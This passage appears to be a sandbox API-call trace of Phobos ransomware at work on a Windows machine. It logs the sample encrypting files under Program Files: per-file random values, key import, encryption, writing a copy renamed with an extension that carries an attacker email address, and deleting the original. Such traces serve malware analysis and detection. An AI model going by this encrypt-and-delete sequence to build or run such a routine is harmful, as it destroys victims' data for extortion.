shared\\Stationery\\HandPrints.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.155] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.156] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=6381) returned 1 [0049.156] CloseHandle (hObject=0x310) returned 1 [0049.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0049.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.157] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.157] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=232) returned 1 [0049.157] CloseHandle (hObject=0x310) returned 1 [0049.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0049.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.158] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.159] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=5115) returned 1 [0049.159] CloseHandle (hObject=0x310) returned 1 [0049.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0049.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.160] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.161] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=237) returned 1 [0049.161] CloseHandle (hObject=0x310) returned 1 [0049.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0049.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.161] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.161] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.163] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4734) returned 1 [0049.163] CloseHandle (hObject=0x310) returned 1 [0049.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0049.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.163] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.164] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=10569) returned 1 [0049.164] CloseHandle (hObject=0x310) returned 1 [0049.164] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0049.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.166] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.179] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2702) returned 1 [0049.179] CloseHandle (hObject=0x310) returned 1 [0049.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0049.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.179] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.190] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=15195) returned 1 [0049.190] CloseHandle (hObject=0x310) returned 1 [0049.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0049.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.191] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.192] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=623) returned 1 [0049.192] CloseHandle (hObject=0x310) returned 1 [0049.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0049.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.193] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.193] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=174) returned 1 [0049.193] CloseHandle (hObject=0x310) returned 1 [0049.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0049.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\desktop.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.194] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.194] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\desktop.ini.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.194] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc750) returned 1 [0049.194] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.194] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xae, lpOverlapped=0x0) returned 1 [0049.195] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xb0, dwBufLen=0xb0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xb0) returned 1 [0049.195] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xb0, lpOverlapped=0x0) returned 1 [0049.195] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc9d0) returned 1 [0049.195] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.196] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0049.196] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0049.196] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0049.196] CryptDestroyKey (hKey=0x10dc750) returned 1 [0049.196] CloseHandle (hObject=0x310) returned 1 [0049.196] CloseHandle (hObject=0x2fc) returned 1 [0049.196] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0049.197] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.198] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1423) returned 1 [0049.198] CloseHandle (hObject=0x2fc) returned 1 [0049.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0049.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.198] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.198] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.198] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc8d0) returned 1 [0049.198] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.198] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x58f, lpOverlapped=0x0) returned 1 [0049.213] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x590, dwBufLen=0x590 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x590) returned 1 [0049.213] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x590, lpOverlapped=0x0) returned 1 [0049.214] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0049.214] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.214] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0049.214] CryptDestroyKey (hKey=0x10dc610) returned 1 [0049.214] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0049.214] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0049.214] CloseHandle (hObject=0x2fc) returned 1 [0049.214] CloseHandle (hObject=0x310) returned 1 [0049.215] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0049.216] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0049.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.299] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=8590) returned 1 [0049.299] CloseHandle (hObject=0x2fc) returned 1 [0049.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 0x20 [0049.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0049.300] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.300] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0049.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0049.300] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc690) returned 1 [0049.300] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0049.300] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x218e, lpOverlapped=0x0) returned 1 [0049.376] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2190, dwBufLen=0x2190 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2190) returned 1 [0049.376] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2190, lpOverlapped=0x0) returned 1 [0049.377] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc6d0) returned 1 [0049.377] CryptSetKeyParam 